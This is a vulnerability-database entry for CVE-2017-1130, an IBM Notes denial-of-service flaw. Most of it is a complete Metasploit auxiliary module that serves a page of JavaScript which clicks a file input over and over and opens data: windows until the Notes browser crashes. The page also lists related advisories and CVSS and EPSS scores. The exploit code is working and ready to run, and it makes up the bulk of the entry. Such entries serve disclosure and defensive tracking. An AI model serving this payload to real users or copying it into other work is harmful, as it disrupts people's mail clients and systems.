IBM Notes Denial Of Service

🗓️ 10 Oct 2017 06:52:06Reported by Dhiraj MishraType

IBM Notes Denial Of Service. Exploits vulnerability in native IBM Lotus Notes browser causing crash upon webpage view

Reporter	Title	Published	Views	Family All 15
0day.today	IBM Notes 8.5.x/9.0.x - Denial of Service (2) Exploit	4 Sep 201700:00	–	zdt
0day.today	IBM Lotus Notes Denial Of Service Exploit	9 Nov 201700:00	–	zdt
Circl	CVE-2017-1130	31 Aug 201700:00	–	circl
CNVD	IBM Notes Denial of Service Vulnerability (CNVD-2017-25669)	6 Sep 201700:00	–	cnvd
CVE	CVE-2017-1130	5 Sep 201721:00	–	cve
Cvelist	CVE-2017-1130	5 Sep 201721:00	–	cvelist
Exploit DB	IBM Notes 8.5.x/9.0.x - Denial of Service (2)	31 Aug 201700:00	–	exploitdb
exploitpack	IBM Notes 8.5.x9.0.x - Denial of Service (2)	31 Aug 201700:00	–	exploitpack
NVD	CVE-2017-1130	5 Sep 201721:29	–	nvd
OSV	CVE-2017-1130	5 Sep 201721:29	–	osv

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "IBM Notes Denial Of Service",
        'Description'    => %q(
          This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.
          If successful, the browser will crash after viewing the webpage.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra',
        ],
        'References'     => [
          ['EDB', '42604'],
          [ 'CVE', '2017-1130' ]
        ],
        'DisclosureDate' => '2017-08-31',
        'Actions'        => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = %|
<html><body>
<input type="file" id="f">
<script>
var w;
var kins = {};
var i = 1;
f.click();
setInterval("f.click()", 1);
setInterval(function(){
          for (var k in kins) {
          if (kins[k] && kins[k].status === undefined) {
          kins[k].close();
          delete kins[k];
           }
         }
        w = open('data:text/html,<input type="file" id="f"><script>f.click();setInterval("f.click()", 1);<\\/script>');
        if (w) {
                kins[i] = w;
                i++;
        }
}, 1);
</script>
</body></html>
    |
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end

02 Oct 2020 20:00Current

6.8Medium risk

Vulners AI Score6.8

CVSS 24.3

CVSS 36.5

EPSS0.6548